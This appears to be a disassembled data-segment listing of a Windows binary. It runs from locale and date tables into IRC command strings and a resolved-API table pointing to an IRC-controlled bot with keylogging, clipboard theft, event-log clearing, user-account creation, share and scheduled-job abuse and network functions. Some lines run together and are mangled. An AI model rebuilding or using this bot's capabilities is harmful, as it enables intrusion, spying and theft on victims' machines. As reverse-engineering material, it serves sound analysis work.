aAustria db 'Austria',0 ; DATA XREF: seg002:00450954o
aGerman db 'German',0 ; DATA XREF: seg002:0045094Co
align 10h
aBelgium db 'Belgium',0 ; DATA XREF: seg002:00450928o
aMexico db 'Mexico',0 ; DATA XREF: seg002:004508FCo
align 10h
aSpanish db 'Spanish',0 ; DATA XREF: seg002:004508F4o
; seg002:004509FCo ...
aBasque db 'Basque',0 ; DATA XREF: seg002:004508C8o
align 10h
aSweden db 'Sweden',0 ; DATA XREF: seg002:004508A4o
align 4
aSwedish db 'Swedish',0 ; DATA XREF: seg002:0045089Co
aIceland db 'Iceland',0 ; DATA XREF: seg002:00450878o
aIcelandic db 'Icelandic',0 ; DATA XREF: seg002:00450870o
align 4
aFrance db 'France',0 ; DATA XREF: seg002:0045084Co
align 4
aFrench db 'French',0 ; DATA XREF: seg002:00450844o
; seg002:00450920o ...
align 4
aFinland db 'Finland',0 ; DATA XREF: seg002:00450820o
aFinnish db 'Finnish',0 ; DATA XREF: seg002:00450818o
aSpain db 'Spain',0 ; DATA XREF: seg002:off_4507F4o
; seg002:004508D0o ...
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: seg002:off_4507ECo
align 4
aUnitedStates db 'united-states',0
align 4
aUnitedKingdom db 'united-kingdom',0
align 4
aTrinidadTobago db 'trinidad & tobago',0
align 4
aSouthKorea db 'south-korea',0
aSouthAfrica_0 db 'south-africa',0
align 4
aSouthKorea_0 db 'south korea',0
aSouthAfrica_1 db 'south africa',0
align 4
aSlovak db 'slovak',0
align 4
aPuertoRico db 'puerto-rico',0
aPrChina db 'pr-china',0
align 4
aPrChina_0 db 'pr china',0
align 10h
aNz db 'nz',0
align 4
aNewZealand db 'new-zealand',0
aHongKong db 'hong-kong',0
align 4
aHolland db 'holland',0
aGreatBritain db 'great britain',0
align 4
aEngland db 'england',0
aCzech db 'czech',0
align 4
aChina db 'china',0
align 4
aBritain db 'britain',0 ; DATA XREF: seg002:00450CA0o
aAmerica db 'america',0 ; DATA XREF: seg002:off_450C98o
aUsa_0 db 'usa',0
aUs db 'us',0
align 4
aUk db 'uk',0
align 4
aSwiss db 'swiss',0
align 10h
aSwedishFinland db 'swedish-finland',0
aSpanishVenezue db 'spanish-venezuela',0
align 4
aSpanishUruguay db 'spanish-uruguay',0
aSpanishPuertoR db 'spanish-puerto rico',0
aSpanishPeru db 'spanish-peru',0
align 4
aSpanishParagua db 'spanish-paraguay',0
align 4
aSpanishPanama db 'spanish-panama',0
align 4
aSpanishNicarag db 'spanish-nicaragua',0
align 10h
aSpanishModern db 'spanish-modern',0
align 10h
aSpanishMexican db 'spanish-mexican',0
aSpanishHondura db 'spanish-honduras',0
align 4
aSpanishGuatema db 'spanish-guatemala',0
align 4
aSpanishElSalva db 'spanish-el salvador',0
aSpanishEcuador db 'spanish-ecuador',0
aSpanishDominic db 'spanish-dominican republic',0
align 4
aSpanishCostaRi db 'spanish-costa rica',0
align 4
aSpanishColombi db 'spanish-colombia',0
align 10h
aSpanishChile db 'spanish-chile',0
align 10h
aSpanishBolivia db 'spanish-bolivia',0
aSpanishArgenti db 'spanish-argentina',0
align 4
aPortugueseBraz db 'portuguese-brazilian',0
align 4
aNorwegianNynor db 'norwegian-nynorsk',0
align 10h
aNorwegianBokma db 'norwegian-bokmal',0
align 4
aNorwegian db 'norwegian',0
align 10h
aItalianSwiss db 'italian-swiss',0
align 10h
aIrishEnglish db 'irish-english',0
align 10h
aGermanSwiss db 'german-swiss',0
align 10h
aGermanLuxembou db 'german-luxembourg',0
align 4
aGermanLichtens db 'german-lichtenstein',0
aGermanAustrian db 'german-austrian',0
aFrenchSwiss db 'french-swiss',0
align 4
aFrenchLuxembou db 'french-luxembourg',0
align 4
aFrenchCanadian db 'french-canadian',0
aFrenchBelgian db 'french-belgian',0
align 4
aEnglishUsa db 'english-usa',0
aEnglishUs db 'english-us',0
align 4
aEnglishUk db 'english-uk',0
align 10h
aEnglishTrinida db 'english-trinidad y tobago',0
align 4
aEnglishSouthAf db 'english-south africa',0
align 4
aEnglishNz db 'english-nz',0
align 10h
aEnglishJamaica db 'english-jamaica',0
aEnglishIre db 'english-ire',0
aEnglishCaribbe db 'english-caribbean',0
align 10h
aEnglishCan db 'english-can',0
aEnglishBelize db 'english-belize',0
align 4
aEnglishAus db 'english-aus',0
aEnglishAmerica db 'english-american',0
align 4
aDutchBelgian db 'dutch-belgian',0
align 4
aChineseTraditi db 'chinese-traditional',0
aChineseSingapo db 'chinese-singapore',0
align 4
aChineseSimplif db 'chinese-simplified',0
align 4
aChineseHongkon db 'chinese-hongkong',0
align 4
aChinese db 'chinese',0
aChi db 'chi',0
aChh db 'chh',0
aCanadian db 'canadian',0
align 4
aBelgian db 'belgian',0
aAustralian db 'australian',0
align 4
aAmericanEnglis db 'american-english',0
align 10h
aAmericanEngl_0 db 'american english',0
align 4
aAmerican db 'american',0 ; DATA XREF: seg002:off_450D50o
align 10h
off_43AD50 dd offset byte_50434F ; DATA XREF: sub_432630:loc_432683o
off_43AD54 dd offset byte_504341 ; DATA XREF: sub_432630+16o
dword_43AD58 dd 69736863h, 632E657Ah, 0dword_43AD64 dd 657A6973h, 203D3E20h, 30hdword_43AD70 dd 4E512331h, 4E41hdword_43AD78 dd 4E492331h, 46hdword_43AD80 dd 4E492331h, 44hdword_43AD88 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch
; DATA XREF: sub_433EA0+125o
; seg002:00451008o
dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
dd 4D41h, 65636544h, 7265626Dh, 0
aNovember db 'November',0 ; DATA XREF: seg002:00450FF0o
align 4
aOctober db 'October',0 ; DATA XREF: seg002:00450FECo
aSeptember db 'September',0 ; DATA XREF: seg002:00450FE8o
align 4
aAugust db 'August',0 ; DATA XREF: seg002:00450FE4o
align 10h
aJuly db 'July',0 ; DATA XREF: seg002:00450FE0o
align 4
aJune db 'June',0 ; DATA XREF: seg002:00450FDCo
align 10h
aApril db 'April',0 ; DATA XREF: seg002:00450FD4o
align 4
aMarch db 'March',0 ; DATA XREF: seg002:00450FD0o
align 10h
aFebruary db 'February',0 ; DATA XREF: seg002:00450FCCo
align 4
aJanuary db 'January',0 ; DATA XREF: seg002:00450FC8o
aDec db 'Dec',0 ; DATA XREF: seg002:00450FC4o
aNov db 'Nov',0 ; DATA XREF: seg002:00450FC0o
aOct db 'Oct',0 ; DATA XREF: seg002:00450FBCo
aSep db 'Sep',0 ; DATA XREF: seg002:00450FB8o
aAug db 'Aug',0 ; DATA XREF: seg002:00450FB4o
aJul db 'Jul',0 ; DATA XREF: seg002:00450FB0o
aJun db 'Jun',0 ; DATA XREF: seg002:00450FACo
aMay db 'May',0 ; DATA XREF: seg002:00450FA8o
; seg002:00450FD8o
aApr db 'Apr',0 ; DATA XREF: seg002:00450FA4o
aMar db 'Mar',0 ; DATA XREF: seg002:00450FA0o
aFeb db 'Feb',0 ; DATA XREF: seg002:00450F9Co
aJan db 'Jan',0 ; DATA XREF: seg002:00450F98o
aSaturday db 'Saturday',0 ; DATA XREF: seg002:00450F94o
align 10h
aFriday db 'Friday',0 ; DATA XREF: seg002:00450F90o
align 4
aThursday db 'Thursday',0 ; DATA XREF: seg002:00450F8Co
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: seg002:00450F88o
align 10h
aTuesday db 'Tuesday',0 ; DATA XREF: seg002:00450F84o
aMonday db 'Monday',0 ; DATA XREF: seg002:00450F80o
align 10h
aSunday db 'Sunday',0 ; DATA XREF: seg002:00450F7Co
align 4
aSat db 'Sat',0 ; DATA XREF: seg002:00450F78o
aFri db 'Fri',0 ; DATA XREF: seg002:00450F74o
aThu db 'Thu',0 ; DATA XREF: seg002:00450F70o
aWed db 'Wed',0 ; DATA XREF: seg002:00450F6Co
aTue db 'Tue',0 ; DATA XREF: seg002:00450F68o
aMon db 'Mon',0 ; DATA XREF: seg002:00450F64o
aSun db 'Sun',0 ; DATA XREF: seg002:off_450F60o
aAP db 'a/p',0 ; DATA XREF: sub_435310:loc_435503o
aAmPm db 'am/pm',0 ; DATA XREF: sub_435310:loc_4354E3o
align 10h
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_435830+9Co
; sub_435830+F1o
align 10h
dword_43AED0 dd 0FFFFFFFFh, 435BF7h, 435BFDh, 0FFFFFFFFh, 435C76h, 435C7Ch
; DATA XREF: seg000:00435AD5o
dword_43AEE8 dd 6D6F7477h, 766E6562h, 632Eh, 0dword_43AEF8 dd 0FFFFFFFFh, 43677Dh, 436783h, 0dword_43AF08 dd 0FFFFFFFFh, 43691Fh, 436925hdword_43AF14 dd 6D635F61h, 632E70haCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_4369D0:loc_436B43o
align 10h
dword_43AF60 dd 0FFFFFFFFh, 436CAFh, 436CB5h, 0FFFFFFFFh, 436D4Dh, 436D53h
; DATA XREF: sub_4369D0+5o
dword_43AF78 dd 65746573h, 632E766Eh, 0 ; sub_436E20+F2o ...
aStringTooLong db 'string too long',0 ; DATA XREF: sub_437360+1Fo
dd offset dword_43B078
off_43AF98 dd offset sub_4374E0 ; DATA XREF: sub_4373C0+44o
; sub_437480+1Fo ...
dd offset sub_437430
dd offset sub_437450
dd offset dword_43B0C8
off_43AFA8 dd offset sub_437600 ; DATA XREF: sub_437510+16o
; sub_4375B0+Ao ...
dd offset sub_437430
dd offset sub_4375D0
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_437660+1Fo
dd offset dword_43B118
off_43AFD0 dd offset sub_437740 ; DATA XREF: sub_4376C0+16o
; sub_4376F0+Ao ...
dd offset sub_437430
dd offset sub_437710
dd offset dword_43B148
off_43AFE0 dd offset sub_437C40 ; DATA XREF: seg000:00437C1Ao
; sub_437C70+Co ...
dd offset sub_437DE0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_437DE0:loc_437DF8o
align 4
dd offset dword_43B190
off_43B000 dd offset sub_437E50 ; DATA XREF: sub_437E10+Ao
; seg000:00437F3Ao ...
align 8
dword_43B008 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_43B028 dd offset off_451310 ; DATA XREF: seg001:0043B05Co
; seg001:0043B0B0o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_43B040 dd offset off_451328 ; DATA XREF: seg001:0043B058o
; seg001:0043B0ACo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43B040
dd offset off_43B028
dword_43B060 dd 4 dup(0) dd 2, 43B058h
dword_43B078 dd 3 dup(0) dd offset off_451328
dd offset dword_43B060+8
align 10h
off_43B090 dd offset off_451348 ; DATA XREF: seg001:0043B0A8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43B090
dd offset off_43B040
dd offset off_43B028
dd 0
db 0 ; DATA XREF: seg001:0043B0D8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 43B0A8h
dword_43B0C8 dd 3 dup(0) dd offset off_451348
dd offset unk_43B0B8
align 10h
off_43B0E0 dd offset off_451368 ; DATA XREF: seg001:0043B0F8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43B0E0
dd offset off_43B040
dd offset off_43B028
dd 0
db 0 ; DATA XREF: seg001:0043B128o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 43B0F8h
dword_43B118 dd 3 dup(0) dd offset off_451368
dd offset unk_43B108
dd offset off_43B028
dword_43B130 dd 4 dup(0) dd 1, 43B12Ch
dword_43B148 dd 3 dup(0) dd offset off_451310
dd offset dword_43B130+8
align 10h
off_43B160 dd offset off_451388 ; DATA XREF: seg001:0043B178o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43B160
dword_43B17C dd 3 dup(0) dd 1, 43B178h
dword_43B190 dd 3 dup(0) dd offset off_451388
dd offset dword_43B17C+4
align 8
dword_43B1A8 dd 19930520h, 2, 43B1C8h, 5 dup(0) dd 0FFFFFFFFh, 437FB8h, 0
dd offset sub_437FB0
dword_43B1D8 dd 19930520h, 2, 43B1F8h, 5 dup(0) dd 0FFFFFFFFh, 437FD9h, 0
dd offset loc_437FE1
dword_43B208 dd 19930520h, 2, 43B228h, 1, 43B238h, 3 dup(0)
; DATA XREF: seg000:loc_437FF4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43B250h, 4 dup(0)
dd offset loc_40D8FF
dd 0
dd offset off_451310
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 437CE0h, 2 dup(0)
dd offset off_451328
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4373C0h, 2 dup(0)
dd offset off_451348
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437630h, 0
dword_43B2C0 dd 3, 43B2A0h, 43B280h, 43B260hdword_43B2D0 dd 0 ; sub_4375D0+15o
dd offset sub_4375B0
dd 0
dd offset dword_43B2C0
dword_43B2E0 dd 19930520h, 1, 43B300h, 5 dup(0) dd 0FFFFFFFFh, 438000h
dword_43B308 dd 19930520h, 1, 43B328h, 5 dup(0)dword_43B328 dd 0FFFFFFFFh, 438020h, 2, 43B280h, 43B260h, 0dword_43B340 dd 0 dd offset sub_437480
dd 0
dd offset dword_43B328+8
dword_43B350 dd 19930520h, 1, 43B370h, 5 dup(0) dd 0FFFFFFFFh, 438040h
dword_43B378 dd 19930520h, 1, 43B398h, 5 dup(0) dd 0FFFFFFFFh, 438060h, 0
dd offset off_451368
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 437770h, 0
dword_43B3C0 dd 3, 43B3A0h, 43B280h, 43B260hdword_43B3D0 dd 0 ; sub_437710+15o
dd offset sub_4376F0
dd 0
dd offset dword_43B3C0
dword_43B3E0 dd 19930520h, 1, 43B400h, 5 dup(0) dd 0FFFFFFFFh, 438080h, 2FEh dup(0)
seg001 ends
; Section 3. (virtual address 0003C000)
; Virtual size : 000B5000 ( 741376.)
; Section size in file : 000B5000 ( 741376.)
; Offset to raw data for section: 0003C000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg002 segment para public 'CODE' use32
assume cs:seg002
;org 43C000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_43C000 dd 0 dd offset loc_408638
dd offset loc_40D407
dd offset byte_40F9A3
dd offset sub_4377A0
dword_43C014 dd 0 dword_43C018 dd 0 dd offset sub_41EF20
dd offset sub_41FE90
dd offset sub_4265E0
dd offset sub_4306B0
dword_43C02C dd 2 dup(0) dd offset sub_41F050
align 10h
dd offset sub_4306D0
align 10h
dword_43C050 dd 0EA60h align 8
dword_43C058 dd 80000002h, 43CD38h, 80000002h, 43CD68h, 80000001h, 43CD38h
; DATA XREF: start+7o
dword_43C070 dd 6272h ; seg000:004010CEo
aNotice db 'NOTICE',0 ; DATA XREF: sub_40145D+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40145D+16o
aS db '%s',0 ; DATA XREF: sub_40145D+3Bo
align 4
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40145D+58o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4014F8+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4014F8+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014F8+2Bo
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4014F8+38o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4014F8+45o
align 10h
aModule32first db 'Module32First',0 ; DATA XREF: sub_4014F8+52o
align 10h
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014F8+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014F8+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4014F8+79o
align 4
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4014F8+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014F8+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014F8+A0o
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014F8:loc_401600o
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4014F8:loc_40162Do
align 10h
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4014F8+14Ao
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4014F8+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4014F8+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4014F8+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4014F8+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4014F8+186o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4014F8+193o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4014F8+1A0o
align 4
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014F8:loc_4016F0o
align 10h
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4014F8+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4014F8+20Do
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4014F8+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4014F8:loc_401757o
align 10h
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4014F8+270o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4014F8+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4014F8+285o
align 10h
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4014F8+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4014F8+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4014F8+2ACo
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4014F8+2B9o
align 10h
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4014F8+2C6o
align 10h
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4014F8:loc_40180Ao
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014F8+31Ao
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014F8+327o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4014F8:loc_40184Fo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4014F8+35Fo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4014F8+36Co
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4014F8+379o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4014F8+386o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4014F8+393o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014F8+3A0o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014F8+3ADo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4014F8:loc_4018FDo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4014F8:loc_401925o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4014F8+43Eo
align 10h
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4014F8+446o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014F8+453o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4014F8+460o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4014F8+46Do
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4014F8+47Ao
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4014F8+487o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4014F8+494o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4014F8+4A1o
align 10h
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4014F8+514o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4014F8+525o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4014F8+52Do
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4014F8+53Ao
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4014F8+547o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4014F8+554o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4014F8+561o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4014F8+56Eo
align 4
aSocket db 'socket',0 ; DATA XREF: sub_4014F8+57Bo
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4014F8+588o
aConnect db 'connect',0 ; DATA XREF: sub_4014F8+595o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4014F8+5A2o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4014F8+5AFo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_4014F8+5BCo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_4014F8+5C9o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_4014F8+5D6o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_4014F8+5E3o
align 10h
aSend db 'send',0 ; DATA XREF: sub_4014F8+5F0o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4014F8+5FDo
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_4014F8+60Ao
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4014F8+617o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4014F8+629o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4014F8+631o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4014F8+63Eo
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4014F8+64Bo
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4014F8+658o
align 10h
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4014F8+665o
aGethostname db 'gethostname',0 ; DATA XREF: sub_4014F8+672o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4014F8+67Fo
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4014F8+68Co
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4014F8+699o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4014F8+6A6o
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4014F8:loc_401CD7o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014F8+7F0o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014F8+7F8o
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014F8+805o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4014F8+812o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4014F8+81Fo
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4014F8+82Co
align 10h
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014F8+839o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014F8+846o
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4014F8+853o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4014F8+860o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014F8+8D2o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4014F8:loc_401DF7o
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4014F8+90Co
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4014F8+914o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4014F8+921o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4014F8:loc_401E56o
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4014F8+96Fo
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4014F8+977o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4014F8+984o
align 10h
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014F8+991o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4014F8+99Eo
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4014F8+9ABo
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4014F8+9B8o
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4014F8+9C5o
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4014F8+9D2o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4014F8+9DFo
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014F8+9ECo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4014F8+9F9o
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4014F8:loc_401F72o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014F8+A87o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014F8+A8Fo
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4014F8:loc_401FBCo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4014F8+AD1o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014F8+AD9o
align 4
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4014F8:loc_402006o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4014F8+B1Bo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4014F8+B23o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4014F8+B30o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4014F8+B3Do
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4014F8:loc_40207Ao
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4014F8+B8Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4014F8+B97o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4014F8:loc_4020C4o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4014F8+BD9o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4014F8+BE1o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4014F8+BEEo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4014F8+BFBo
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4014F8+C08o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4014F8+C15o
align 4
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+28o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+90o
align 4
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+C4o
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40216A+12Co
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40216A+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+194o
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40216A+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+230o
align 4
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+264o
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40216A+298o
dword_43CA98 dd 35310302h, 25B302Ch, 91323003h, 1F343003h, 611F4D02h
; DATA XREF: sub_40216A+2BEo
dd 3026E69h, 32C3230h, 33A3531h, 44202032h, 4C024C02h
